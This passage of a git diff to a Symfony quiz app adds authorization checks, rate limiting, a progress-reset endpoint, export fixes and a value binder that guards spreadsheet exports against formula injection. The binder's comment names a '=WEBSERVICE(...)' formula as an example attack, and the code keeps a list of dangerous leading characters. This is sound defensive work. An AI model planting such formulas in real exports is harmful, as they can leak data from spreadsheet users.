"dependencies": [
|
||||||
|
"jsr:@std/internal"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"@std/internal@1.0.14": {
|
||||||
|
"integrity": "291516b3d4c35024d6ffbc0a9df5bf4c64116e05b50012cf846710152d2ffdf7"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"npm": {
|
||||||
|
"@hotwired/stimulus@3.2.2": {
|
||||||
|
"integrity": "sha512-eGeIqNOQpXoPAIP7tC1+1Yc1yl1xnwYqg+3mzqxyrbE5pg5YFBZcA6YoTiByJB6DKAEsiWtl6tjTJS4IYtbB7A=="
|
||||||
|
},
|
||||||
|
"@hotwired/turbo@8.0.23": {
|
||||||
|
"integrity": "sha512-GZ7cijxEZ6Ig71u7rD6LHaRv/wcE/hNsc+nEfiWOkLNqUgLOwo5MNGWOy5ZV9ZUDSiQx1no7YxjTNnT4O6//cQ=="
|
||||||
|
},
|
||||||
|
"@popperjs/core@2.11.8": {
|
||||||
|
"integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A=="
|
||||||
|
},
|
||||||
|
"@sentry/browser-utils@10.65.0": {
|
||||||
|
"integrity": "sha512-4J0mkfNJAGUOkpg1ZggizyftFTn9N20b+Jl87UnWsDUkNG0Ic1l/FIzMPTVxXrAnhBGu0ULO0TFWMoQ5s3QtZw==",
|
||||||
|
"dependencies": [
|
||||||
|
"@sentry/conventions",
|
||||||
|
"@sentry/core"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"@sentry/browser@10.65.0": {
|
||||||
|
"integrity": "sha512-XUDDsx0qxzeIlcOu1fDEqTcDl0eiOqghsgV+ReuuNP4jYjZ9kUQxE3rXWM5mlT1pBi4VaQ4FHqvQZZrRXy+oDw==",
|
||||||
|
"dependencies": [
|
||||||
|
"@sentry/browser-utils",
|
||||||
|
"@sentry/conventions",
|
||||||
|
"@sentry/core",
|
||||||
|
"@sentry/feedback",
|
||||||
|
"@sentry/replay",
|
||||||
|
"@sentry/replay-canvas"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"@sentry/conventions@0.15.1": {
|
||||||
|
"integrity": "sha512-ZLP8bRdMON3prWE2tJyImuYscCxdcJeIPIhrOs/rgyFm3C1nCh1B6gdvPj3AZ5zW08oSFFCsq7T+tYEW3h8MNA=="
|
||||||
|
},
|
||||||
|
"@sentry/core@10.65.0": {
|
||||||
|
"integrity": "sha512-3aqtmM5NgNGo45BNaaBzi0LPQZAw//NEL4HKS5fXm12pJMa4KEkze8DEKnkTEIrGnWaOJKamecHKlnNg/Mqf/Q==",
|
||||||
|
"dependencies": [
|
||||||
|
"@sentry/conventions"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"@sentry/feedback@10.65.0": {
|
||||||
|
"integrity": "sha512-ck8h7wgd3F3bYNk0v1OgohmyLBeXcKxqlfBJRtQq4k6KZUq+pXimOG7ckNguVMYjCo3PEfuG+ckKc21yqotKug==",
|
||||||
|
"dependencies": [
|
||||||
|
"@sentry/core"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"@sentry/replay-canvas@10.65.0": {
|
||||||
|
"integrity": "sha512-A7X3RVk1Gk+knK8Ip/2EjejckNCLgCfRZo6eGlsy6qyz904KBpYmys1a0o7QkzFRjhIndjHAfcVxwt6jSLJlrQ==",
|
||||||
|
"dependencies": [
|
||||||
|
"@sentry/core",
|
||||||
|
"@sentry/replay"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"@sentry/replay@10.65.0": {
|
||||||
|
"integrity": "sha512-aW988CcQBNArbOMzOFOziipHz6uQyXSa4i5CPWsu+nhVPTJHafosi5Lv9n6NM/icDX5e23VdnX6mZd8SyJuo8A==",
|
||||||
|
"dependencies": [
|
||||||
|
"@sentry/browser-utils",
|
||||||
|
"@sentry/core"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"bootstrap@5.3.8_@popperjs+core@2.11.8": {
|
||||||
|
"integrity": "sha512-HP1SZDqaLDPwsNiqRqi5NcP0SSXciX2s9E+RyqJIIqGo+vJeN5AJVM98CXmW/Wux0nQ5L7jeWUdplCEf0Ee+tg==",
|
||||||
|
"dependencies": [
|
||||||
|
"@popperjs/core"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"workspace": {
|
||||||
|
"dependencies": [
|
||||||
|
"jsr:@std/assert@^1.0.19",
|
||||||
|
"npm:@hotwired/stimulus@^3.2.2",
|
||||||
|
"npm:@hotwired/turbo@^8.0.23",
|
||||||
|
"npm:@sentry/browser@^10.63.0",
|
||||||
|
"npm:bootstrap@^5.3.8"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -33,6 +33,10 @@ if [ "$1" = 'frankenphp' ] || [ "$1" = 'php' ] || [ "$1" = 'bin/console' ]; then
|
|||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# var/ is a Docker volume that survives redeploys, so cache.app (e.g. the GitHub releases cache)
|
||||||
|
# can carry stale entries from the previous image into the new one unless cleared here.
|
||||||
|
php bin/console cache:pool:clear cache.app
|
||||||
|
|
||||||
setfacl -R -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
setfacl -R -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
||||||
setfacl -dR -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
setfacl -dR -m u:www-data:rwX -m u:"$(whoami)":rwX var
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -25,8 +25,8 @@ declare(strict_types=1);
|
|||||||
* }>
|
* }>
|
||||||
*/
|
*/
|
||||||
return [
|
return [
|
||||||
'quiz' => ['path' => './assets/quiz.js', 'entrypoint' => true],
|
'quiz' => ['path' => './assets/quiz.ts', 'entrypoint' => true],
|
||||||
'backoffice' => ['path' => './assets/backoffice.js', 'entrypoint' => true],
|
'backoffice' => ['path' => './assets/backoffice.ts', 'entrypoint' => true],
|
||||||
'@symfony/stimulus-bundle' => ['path' => './vendor/symfony/stimulus-bundle/assets/dist/loader.js'],
|
'@symfony/stimulus-bundle' => ['path' => './vendor/symfony/stimulus-bundle/assets/dist/loader.js'],
|
||||||
'bootstrap' => ['version' => '5.3.8'],
|
'bootstrap' => ['version' => '5.3.8'],
|
||||||
'@popperjs/core' => ['version' => '2.11.8'],
|
'@popperjs/core' => ['version' => '2.11.8'],
|
||||||
|
|||||||
@@ -11,18 +11,21 @@ use Symfony\Component\HttpFoundation\Response;
|
|||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Routing\Requirement\Requirement;
|
use Symfony\Component\Routing\Requirement\Requirement;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||||
|
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
||||||
use Tvdt\Controller\AbstractController;
|
use Tvdt\Controller\AbstractController;
|
||||||
use Tvdt\Entity\Elimination;
|
use Tvdt\Entity\Elimination;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Enum\FlashType;
|
||||||
use Tvdt\Factory\EliminationFactory;
|
use Tvdt\Factory\EliminationFactory;
|
||||||
|
use Tvdt\Security\Voter\SeasonVoter;
|
||||||
|
|
||||||
final class PrepareEliminationController extends AbstractController
|
final class PrepareEliminationController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('prepare_elimination')]
|
#[IsCsrfTokenValid('prepare_elimination')]
|
||||||
|
#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
||||||
name: 'tvdt_prepare_elimination',
|
name: 'tvdt_prepare_elimination',
|
||||||
@@ -37,6 +40,7 @@ final class PrepareEliminationController extends AbstractController
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
||||||
|
#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/elimination/{elimination}',
|
'/backoffice/elimination/{elimination}',
|
||||||
name: 'tvdt_prepare_elimination_view',
|
name: 'tvdt_prepare_elimination_view',
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ use Tvdt\Entity\QuizCandidate;
|
|||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Enum\FlashType;
|
||||||
use Tvdt\Exception\ErrorClearingQuizException;
|
use Tvdt\Exception\ErrorClearingQuizException;
|
||||||
|
use Tvdt\Repository\GivenAnswerRepository;
|
||||||
use Tvdt\Repository\QuizCandidateRepository;
|
use Tvdt\Repository\QuizCandidateRepository;
|
||||||
use Tvdt\Repository\QuizRepository;
|
use Tvdt\Repository\QuizRepository;
|
||||||
use Tvdt\Security\Voter\SeasonVoter;
|
use Tvdt\Security\Voter\SeasonVoter;
|
||||||
@@ -37,6 +38,7 @@ class QuizController extends AbstractController
|
|||||||
private readonly QuizRepository $quizRepository,
|
private readonly QuizRepository $quizRepository,
|
||||||
private readonly TranslatorInterface $translator,
|
private readonly TranslatorInterface $translator,
|
||||||
private readonly QuizCandidateRepository $quizCandidateRepository,
|
private readonly QuizCandidateRepository $quizCandidateRepository,
|
||||||
|
private readonly GivenAnswerRepository $givenAnswerRepository,
|
||||||
private readonly EntityManagerInterface $em,
|
private readonly EntityManagerInterface $em,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
@@ -397,6 +399,26 @@ class QuizController extends AbstractController
|
|||||||
return $this->redirectToRoute('tvdt_backoffice_quiz_candidates_tab', ['seasonCode' => $quiz->season->seasonCode, 'quiz' => $quiz->id]);
|
return $this->redirectToRoute('tvdt_backoffice_quiz_candidates_tab', ['seasonCode' => $quiz->season->seasonCode, 'quiz' => $quiz->id]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[IsCsrfTokenValid('reset_candidate_progress')]
|
||||||
|
#[IsGranted(SeasonVoter::EDIT, subject: 'quiz')]
|
||||||
|
#[Route(
|
||||||
|
'/backoffice/quiz/{quiz}/candidate/{candidate}/reset',
|
||||||
|
name: 'tvdt_backoffice_reset_candidate_progress',
|
||||||
|
requirements: ['quiz' => Requirement::UUID, 'candidate' => Requirement::UUID],
|
||||||
|
methods: ['POST'],
|
||||||
|
)]
|
||||||
|
public function resetCandidateProgress(Quiz $quiz, Candidate $candidate): RedirectResponse
|
||||||
|
{
|
||||||
|
$this->em->wrapInTransaction(function () use ($quiz, $candidate): void {
|
||||||
|
$this->givenAnswerRepository->deleteAllForCandidateInQuiz($quiz, $candidate);
|
||||||
|
$this->quizCandidateRepository->resetProgressForCandidate($quiz, $candidate);
|
||||||
|
});
|
||||||
|
|
||||||
|
$this->addFlash(FlashType::Success, $this->translator->trans('Candidate progress reset'));
|
||||||
|
|
||||||
|
return $this->redirectToRoute('tvdt_backoffice_quiz_candidates_tab', ['seasonCode' => $quiz->season->seasonCode, 'quiz' => $quiz->id]);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Pre-computes per-candidate data (quiz participation and given answer counts) to avoid nested loops in templates.
|
* Pre-computes per-candidate data (quiz participation and given answer counts) to avoid nested loops in templates.
|
||||||
*
|
*
|
||||||
|
|||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Controller\Backoffice;
|
||||||
|
|
||||||
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
|
use Tvdt\Controller\AbstractController;
|
||||||
|
use Tvdt\Service\GitHubReleasesService;
|
||||||
|
|
||||||
|
final class ReleasesController extends AbstractController
|
||||||
|
{
|
||||||
|
public function __construct(
|
||||||
|
private readonly GitHubReleasesService $gitHubReleasesService,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
#[Route('/backoffice/releases', name: 'tvdt_backoffice_releases', methods: ['GET'])]
|
||||||
|
public function index(): Response
|
||||||
|
{
|
||||||
|
return $this->render('backoffice/releases/_frame.html.twig', [
|
||||||
|
'releases' => $this->gitHubReleasesService->getReleases(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -129,6 +129,8 @@ class SeasonController extends AbstractController
|
|||||||
)]
|
)]
|
||||||
public function addCandidates(Season $season, Request $request): Response
|
public function addCandidates(Season $season, Request $request): Response
|
||||||
{
|
{
|
||||||
|
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
||||||
|
|
||||||
$form = $this->createForm(AddCandidatesFormType::class);
|
$form = $this->createForm(AddCandidatesFormType::class);
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
@@ -140,10 +142,18 @@ class SeasonController extends AbstractController
|
|||||||
|
|
||||||
$this->em->flush();
|
$this->em->flush();
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season', ['seasonCode' => $season->seasonCode]);
|
if ($isTurboFrame) {
|
||||||
|
return new Response('<turbo-frame id="add-candidates-modal-frame"></turbo-frame>');
|
||||||
}
|
}
|
||||||
|
|
||||||
return $this->render('backoffice/season_add_candidates.html.twig', ['form' => $form, 'season' => $season]);
|
return $this->redirectToRoute('tvdt_backoffice_season_candidates', ['seasonCode' => $season->seasonCode]);
|
||||||
|
}
|
||||||
|
|
||||||
|
$template = $isTurboFrame
|
||||||
|
? 'backoffice/season/_add_candidates_frame.html.twig'
|
||||||
|
: 'backoffice/season_add_candidates.html.twig';
|
||||||
|
|
||||||
|
return $this->render($template, ['form' => $form, 'season' => $season]);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('rename_candidate')]
|
#[IsCsrfTokenValid('rename_candidate')]
|
||||||
|
|||||||
@@ -8,6 +8,8 @@ use Doctrine\ORM\EntityManagerInterface;
|
|||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
use Symfony\Component\HttpKernel\Attribute\AsController;
|
use Symfony\Component\HttpKernel\Attribute\AsController;
|
||||||
|
use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
|
||||||
|
use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
use Symfony\Contracts\Translation\TranslatorInterface;
|
||||||
@@ -30,7 +32,7 @@ use Tvdt\Repository\SeasonRepository;
|
|||||||
#[AsController]
|
#[AsController]
|
||||||
final class QuizController extends AbstractController
|
final class QuizController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {}
|
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {}
|
||||||
|
|
||||||
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
||||||
public function selectSeason(Request $request): Response
|
public function selectSeason(Request $request): Response
|
||||||
@@ -38,6 +40,10 @@ final class QuizController extends AbstractController
|
|||||||
$form = $this->createForm(SelectSeasonType::class);
|
$form = $this->createForm(SelectSeasonType::class);
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
|
if ($form->isSubmitted() && !$this->seasonCodeLimiter->create($request->getClientIp())->consume()->isAccepted()) {
|
||||||
|
throw new TooManyRequestsHttpException();
|
||||||
|
}
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
$seasonCode = $form->get('season_code')->getData();
|
$seasonCode = $form->get('season_code')->getData();
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,9 @@ class AddCandidatesFormType extends AbstractType
|
|||||||
{
|
{
|
||||||
$builder
|
$builder
|
||||||
->add('candidates', TextareaType::class, [
|
->add('candidates', TextareaType::class, [
|
||||||
'label' => $this->translator->trans('Candidates'), 'translation_domain' => false,
|
'label' => $this->translator->trans('Candidates'),
|
||||||
|
'help' => $this->translator->trans('One candidate per line'),
|
||||||
|
'translation_domain' => false,
|
||||||
])
|
])
|
||||||
;
|
;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Helpers;
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Stores any string that would otherwise be auto-detected as a spreadsheet formula (or that
|
||||||
|
* spreadsheet software re-interprets as one on open/paste) as plain text instead, to prevent
|
||||||
|
* formula injection via user-controlled export data (e.g. a candidate or answer named
|
||||||
|
* `=WEBSERVICE(...)`).
|
||||||
|
*/
|
||||||
|
final class FormulaInjectionSafeValueBinder extends DefaultValueBinder
|
||||||
|
{
|
||||||
|
private const string DANGEROUS_PREFIXES = "=+-@\t\r";
|
||||||
|
|
||||||
|
#[\Override]
|
||||||
|
public function bindValue(Cell $cell, mixed $value): bool
|
||||||
|
{
|
||||||
|
if (\is_string($value) && '' !== $value && str_contains(self::DANGEROUS_PREFIXES, $value[0])) {
|
||||||
|
$cell->setValueExplicit($value);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return parent::bindValue($cell, $value);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,7 +6,9 @@ namespace Tvdt\Repository;
|
|||||||
|
|
||||||
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
|
||||||
use Doctrine\Persistence\ManagerRegistry;
|
use Doctrine\Persistence\ManagerRegistry;
|
||||||
|
use Tvdt\Entity\Candidate;
|
||||||
use Tvdt\Entity\GivenAnswer;
|
use Tvdt\Entity\GivenAnswer;
|
||||||
|
use Tvdt\Entity\Quiz;
|
||||||
|
|
||||||
/** @extends ServiceEntityRepository<GivenAnswer> */
|
/** @extends ServiceEntityRepository<GivenAnswer> */
|
||||||
class GivenAnswerRepository extends ServiceEntityRepository
|
class GivenAnswerRepository extends ServiceEntityRepository
|
||||||
@@ -15,4 +17,15 @@ class GivenAnswerRepository extends ServiceEntityRepository
|
|||||||
{
|
{
|
||||||
parent::__construct($registry, GivenAnswer::class);
|
parent::__construct($registry, GivenAnswer::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function deleteAllForCandidateInQuiz(Quiz $quiz, Candidate $candidate): void
|
||||||
|
{
|
||||||
|
$givenAnswers = $this->findBy(['quiz' => $quiz, 'candidate' => $candidate]);
|
||||||
|
|
||||||
|
foreach ($givenAnswers as $givenAnswer) {
|
||||||
|
$this->getEntityManager()->remove($givenAnswer);
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->getEntityManager()->flush();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -68,4 +68,15 @@ class QuizCandidateRepository extends ServiceEntityRepository
|
|||||||
$quizCandidate->penaltySeconds = $penalty;
|
$quizCandidate->penaltySeconds = $penalty;
|
||||||
$this->getEntityManager()->flush();
|
$this->getEntityManager()->flush();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function resetProgressForCandidate(Quiz $quiz, Candidate $candidate): void
|
||||||
|
{
|
||||||
|
$quizCandidate = $this->findOneBy(['candidate' => $candidate, 'quiz' => $quiz]);
|
||||||
|
if (!$quizCandidate instanceof QuizCandidate) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$quizCandidate->started = null;
|
||||||
|
$this->getEntityManager()->flush();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Service;
|
namespace Tvdt\Service;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
use Doctrine\ORM\EntityManagerInterface;
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||||
@@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz;
|
|||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Entity\User;
|
use Tvdt\Entity\User;
|
||||||
use Tvdt\Helpers\FilenameSanitizer;
|
use Tvdt\Helpers\FilenameSanitizer;
|
||||||
|
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||||
use Tvdt\Repository\QuizRepository;
|
use Tvdt\Repository\QuizRepository;
|
||||||
|
|
||||||
use function Safe\tempnam;
|
use function Safe\tempnam;
|
||||||
@@ -31,7 +33,9 @@ class DataExportService
|
|||||||
private readonly EntityManagerInterface $entityManager,
|
private readonly EntityManagerInterface $entityManager,
|
||||||
private readonly QuizSpreadsheetService $quizSpreadsheetService,
|
private readonly QuizSpreadsheetService $quizSpreadsheetService,
|
||||||
private readonly QuizRepository $quizRepository,
|
private readonly QuizRepository $quizRepository,
|
||||||
) {}
|
) {
|
||||||
|
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||||
|
}
|
||||||
|
|
||||||
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
|
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
|
||||||
public function exportForUser(User $user): string
|
public function exportForUser(User $user): string
|
||||||
@@ -223,7 +227,7 @@ class DataExportService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Raw crosstab: one row per candidate, one column per question, cell = the answer text they gave. */
|
/** Raw crosstab: one row per candidate, one column per question, cell = the answer text they gave (bold when correct). */
|
||||||
private function fillRawAnswersSheet(Worksheet $sheet, Quiz $quiz): void
|
private function fillRawAnswersSheet(Worksheet $sheet, Quiz $quiz): void
|
||||||
{
|
{
|
||||||
/** @var list<Question> $questions */
|
/** @var list<Question> $questions */
|
||||||
@@ -240,11 +244,14 @@ class DataExportService
|
|||||||
|
|
||||||
/** @var array<string, array<string, string>> $answersByCandidateAndQuestion */
|
/** @var array<string, array<string, string>> $answersByCandidateAndQuestion */
|
||||||
$answersByCandidateAndQuestion = [];
|
$answersByCandidateAndQuestion = [];
|
||||||
|
/** @var array<string, array<string, bool>> $correctnessByCandidateAndQuestion */
|
||||||
|
$correctnessByCandidateAndQuestion = [];
|
||||||
foreach ($questions as $question) {
|
foreach ($questions as $question) {
|
||||||
foreach ($question->answers as $answer) {
|
foreach ($question->answers as $answer) {
|
||||||
foreach ($answer->givenAnswers as $givenAnswer) {
|
foreach ($answer->givenAnswers as $givenAnswer) {
|
||||||
$candidateId = $givenAnswer->candidate->id->toString();
|
$candidateId = $givenAnswer->candidate->id->toString();
|
||||||
$answersByCandidateAndQuestion[$candidateId][$question->id->toString()] = $answer->text;
|
$answersByCandidateAndQuestion[$candidateId][$question->id->toString()] = $answer->text;
|
||||||
|
$correctnessByCandidateAndQuestion[$candidateId][$question->id->toString()] = $answer->isRightAnswer;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -252,18 +259,27 @@ class DataExportService
|
|||||||
$row = 2;
|
$row = 2;
|
||||||
foreach ($quiz->candidateData as $quizCandidate) {
|
foreach ($quiz->candidateData as $quizCandidate) {
|
||||||
$candidate = $quizCandidate->candidate;
|
$candidate = $quizCandidate->candidate;
|
||||||
|
$candidateId = $candidate->id->toString();
|
||||||
|
|
||||||
$line = [$candidate->name];
|
$line = [$candidate->name];
|
||||||
foreach ($questions as $question) {
|
foreach ($questions as $question) {
|
||||||
$line[] = $answersByCandidateAndQuestion[$candidate->id->toString()][$question->id->toString()] ?? '';
|
$line[] = $answersByCandidateAndQuestion[$candidateId][$question->id->toString()] ?? '';
|
||||||
}
|
}
|
||||||
|
|
||||||
$sheet->fromArray($line, null, 'A'.$row);
|
$sheet->fromArray($line, null, 'A'.$row);
|
||||||
|
|
||||||
|
foreach ($questions as $columnIndex => $question) {
|
||||||
|
if ($correctnessByCandidateAndQuestion[$candidateId][$question->id->toString()] ?? false) {
|
||||||
|
$column = Coordinate::stringFromColumnIndex(2 + $columnIndex);
|
||||||
|
$sheet->getStyle($column.$row)->getFont()->setBold(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
++$row;
|
++$row;
|
||||||
}
|
}
|
||||||
|
|
||||||
$lastColumnIndex = 1 + \count($questions);
|
$lastColumnIndex = 1 + \count($questions);
|
||||||
foreach (range('A', Coordinate::stringFromColumnIndex($lastColumnIndex)) as $column) {
|
foreach ($this->columnLetters($lastColumnIndex) as $column) {
|
||||||
$sheet->getColumnDimension($column)->setWidth(30);
|
$sheet->getColumnDimension($column)->setWidth(30);
|
||||||
$sheet->getStyle($column.':'.$column)->getAlignment()->setWrapText(true);
|
$sheet->getStyle($column.':'.$column)->getAlignment()->setWrapText(true);
|
||||||
}
|
}
|
||||||
@@ -297,7 +313,7 @@ class DataExportService
|
|||||||
++$row;
|
++$row;
|
||||||
}
|
}
|
||||||
|
|
||||||
foreach (range('A', Coordinate::stringFromColumnIndex(2 + \count($candidates))) as $column) {
|
foreach ($this->columnLetters(2 + \count($candidates)) as $column) {
|
||||||
$sheet->getColumnDimension($column)->setAutoSize(true);
|
$sheet->getColumnDimension($column)->setAutoSize(true);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -405,7 +421,7 @@ class DataExportService
|
|||||||
}
|
}
|
||||||
|
|
||||||
$lastColumnIndex = $answerStartColumnIndex + max(1, 2 * $maxAnswers);
|
$lastColumnIndex = $answerStartColumnIndex + max(1, 2 * $maxAnswers);
|
||||||
foreach (range('A', Coordinate::stringFromColumnIndex($lastColumnIndex)) as $column) {
|
foreach ($this->columnLetters($lastColumnIndex) as $column) {
|
||||||
$sheet->getColumnDimension($column)->setAutoSize(true);
|
$sheet->getColumnDimension($column)->setAutoSize(true);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -426,6 +442,22 @@ class DataExportService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Column letters from 'A' up to and including the given 1-based column index.
|
||||||
|
* Unlike range('A', ...), this works past 'Z' (e.g. index 27 => 'AA').
|
||||||
|
*
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
private function columnLetters(int $lastColumnIndex): array
|
||||||
|
{
|
||||||
|
$letters = [];
|
||||||
|
for ($columnIndex = 1; $columnIndex <= $lastColumnIndex; ++$columnIndex) {
|
||||||
|
$letters[] = Coordinate::stringFromColumnIndex($columnIndex);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $letters;
|
||||||
|
}
|
||||||
|
|
||||||
/** @throws FilesystemException */
|
/** @throws FilesystemException */
|
||||||
private function writeToTempFile(Spreadsheet $spreadsheet): string
|
private function writeToTempFile(Spreadsheet $spreadsheet): string
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -0,0 +1,72 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Service;
|
||||||
|
|
||||||
|
use Psr\Cache\InvalidArgumentException;
|
||||||
|
use Safe\DateTimeImmutable;
|
||||||
|
use Safe\Exceptions\SafeExceptionInterface;
|
||||||
|
use Symfony\Contracts\Cache\CacheInterface;
|
||||||
|
use Symfony\Contracts\Cache\ItemInterface;
|
||||||
|
use Symfony\Contracts\HttpClient\Exception\ExceptionInterface;
|
||||||
|
use Symfony\Contracts\HttpClient\HttpClientInterface;
|
||||||
|
|
||||||
